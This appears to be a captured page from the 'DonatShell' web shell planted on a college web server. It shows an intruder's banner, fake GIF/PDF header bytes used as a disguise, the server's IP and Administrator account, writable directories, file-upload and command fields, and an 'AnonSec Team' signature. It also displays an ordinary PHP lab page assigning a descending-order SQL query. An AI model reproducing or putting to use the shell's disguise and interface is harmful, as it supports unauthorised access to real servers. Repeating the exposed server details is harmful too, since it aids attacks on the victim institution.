GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/MichaelMalz/CST1600/Labs/Lab07/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/MichaelMalz/CST1600/Labs/Lab07/Lab07.phpinc
<?
// MichaelMalz/CST1600/Labs/Lab03.5/index.php

$TRACK = "<b>".basename(__FILE__).'</b> <span class="pv_fl">('.__FILE__.")</span>\n<ol>\n";
ini_set('include_path',ini_get('include_path').PATH_SEPARATOR.$_SERVER['DOCUMENT_ROOT']."/"); // Add the DOCUMENT_ROOT to the include_path.
require('application.phpinc');

require('Gradebook/EvaluationSubmission_BEGIN.phpinc'); // Replaced.
$disabled = '';
#$disabled = ' disabled'; // Comment this line to enable lab.

$workFilename = fileSafe($userFileName.'-ScheduleTables.txt');
?>
<fieldset><legend>Description</legend>
The purpose of this lab is to demonstrate the ability to perform a simple query and a decending order.
<?=$gradeNote?>
<? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?>
</fieldset>

<fieldset><legend><?=$evaluationType?> <?=$evaluationNumber?> Assignment</legend>
<ol class="count">
	<li>
    Create a directory called <b class="copyText"><?=$evaluationName?></b>. We will use it for all work performed in this lab.
  </li>
	<li>
		Write a decending order query with a limit.
		<ol>
			<li>Write a query that lists the customerNumber, customerName, contactFirstName, and contactLastName from customers.</li>
			<li>Order the result by contactLastName in decending order and contactFirstName in ascending order.</li>
			<li>Limit the query to 10 rows. <span class="note">Do not do this with a filter but use the <code>LIMIT</code> clause in your sql statement instead.</span></li>
			<li>Save the query as <b class="copyText"><?=$saveFilename?>_Decending.sql</b> in your <?=$evaluationName?> directory.</li>
			<li>Run the query.</li>
			<li>Adjust the MySQL Workbench window and panel sizes so both the query and the result are visible.</li>
			<li>Take a screenshot of the MySQL Workbench window and save it as <b class="copyText"><?=$saveFilename?>_Decending.png</b> in your <b><?=$evaluationName?></b> folder.
				<? showBegin('See example Decending.sql results'); ?><br>
				<img src="images/Decending.png" width="665" height="356" alt="Decending.sql query results"/><br>
				<? showEnd (); ?>
			</li>
		</ol>
	</li>
	<li>
		Save your work.
	</li>
	<li>Turn in your assignment:
		<ol type="a">
			<li>Make sure the following files are in your <b><?=$evaluationName?></b> folder.
				<ol>
					<li><b><?=$saveFilename?>_Decending.png</b>.</li>
					<li><b><?=$saveFilename?>_Decending.sql</b>.</li>
				</ol>
			</li>
			<li>Zip up your <b><?=$evaluationName?></b> folder into a file named <b><?=$uploadFilename?></b></li>
			<li>Then attach this file to the assignment in D2L for grading.</li>
		</ol>
  </li>
</ol><? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?>
</fieldset>
<?
require('Gradebook/EvaluationSubmission_END.phpinc');
require('common/sectionFooter.phpinc');
#require('../../ReferencesResources.phpinc');
#require($Instructor['Path'].'/ContactInformation.phpinc');
require('common/pageFooter.phpinc');
if ($TRACK != '') $_SESSION['TRACK'] .= "<li>End ".basename(__FILE__)."</ol>\n";
?>

Anon7 - 2022
AnonSec Team